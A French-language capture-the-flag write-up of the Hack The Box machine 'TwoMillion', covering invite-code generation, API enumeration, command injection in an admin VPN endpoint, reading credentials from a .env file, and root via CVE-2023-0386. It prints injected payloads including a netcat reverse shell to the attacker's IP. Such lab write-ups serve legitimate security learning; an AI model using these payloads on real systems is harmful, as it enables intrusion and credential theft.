TwoMillion

2025-10-04easylinux#api#rce#command-injection#reverse-shell#cve-2023-0386#overlayfs

TwoMillion est une machine qui nous ramène quelques années en arrière, quand il fallait trouver le code d'invitation d'Hack The Box pour pouvoir s'y inscrire.

Données :

  • Mon IP : 10.10.14.50
  • IP cible : 10.10.11.221

Reconnaissance

Je commence par scanner l'adresse IP :

nmap -A 10.10.11.221

Résultat classique : port 22 et port 80. Je vais sur la page web et ajoute le nom de domaine dans mes hosts.

En fouillant le site — qui est le site HTB d'il y a quelques années — on arrive rapidement sur /invite. J'ouvre l'inspecteur du navigateur et trouve un fichier JS : inviteapi.min.js. Je copie ce code dans un désobfuscateur :

Résultat désobfuscateur

J'obtiens l'endpoint API qui me donnera un indice sur comment générer le code d'invitation.

Génération du code d'invitation

curl -X POST "http://2million.htb/api/v1/invite/how/to/generate"

Réponse :

{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"}}

Je décode le ROT13 :

In order to generate the invite code, make a POST request to /api/v1/invite/generate

Je fais la requête :

curl -X POST "http://2million.htb/api/v1/invite/generate" # => {"0":200,"success":1,"data":{"code":"V05CWkYtSlhUUlotM0dRSkMtRVNHNEI=","format":"encoded"}}

J'obtiens une chaîne encodée en base64. Après décodage j'obtiens un code au format XXXXX-XXXXX-XXXXX-XXXXX. Je l'entre dans le site et je peux créer un compte.

Énumération de l'API

Une fois connecté, je liste les endpoints de l'API avec mon cookie de session :

curl "http://2million.htb/api/v1" --cookie "PHPSESSID=gflk099n21iqik8siqit423iar" | json

Liste des endpoints API

Trois endpoints sous /admin. Je teste l'update pour passer admin — après plusieurs essais guidés par les réponses du serveur, je deviens admin. Mais ça ne donne pas d'accès supplémentaire direct.

Exploitation — Command Injection

Je passe au endpoint POST et teste une injection de commande :

curl -X POST "http://2million.htb/api/v1/admin/vpn/generate" \ --cookie "PHPSESSID=gflk099n21iqik8siqit423iar" \ --header "Content-type: application/json" \ -v --data '{"username":"larmenou && curl 10.10.14.50:8888 #"}' | json

Bingo ! Je reçois bien quelque chose sur mon netcat. L'endpoint est vulnérable à l'injection de commande. J'envoie un reverse shell :

curl -X POST "http://2million.htb/api/v1/admin/vpn/generate" \ --cookie "PHPSESSID=gflk099n21iqik8siqit423iar" \ --header "Content-type: application/json" \ -v --data '{"username":"larmenou && rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.50 8888 >/tmp/f"}' | json

Shell obtenu via netcat

Accès utilisateur

Je remarque immédiatement un fichier .env. En le lisant j'obtiens le mot de passe d'un utilisateur admin. Je tente une connexion SSH avec ces identifiants — ça fonctionne. J'obtiens le premier flag :

User flag

Élévation de privilèges — CVE-2023-0386

Au moment de la connexion SSH, une notification m'indique un mail. Je vais dans /var/mail/ :

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

Très intéressant — on parle d'une vulnérabilité OverlayFS. Un tour sur le net plus tard : CVE-2023-0386. Cette faille permet à un utilisateur lambda de devenir root.

Je trouve ce repo pour exploiter la faille : github.com/puckiestyle/CVE-2023-0386.

Je télécharge le repo sur la machine cible via mon serveur local et suis le README. En peu de temps je suis root :

Root flag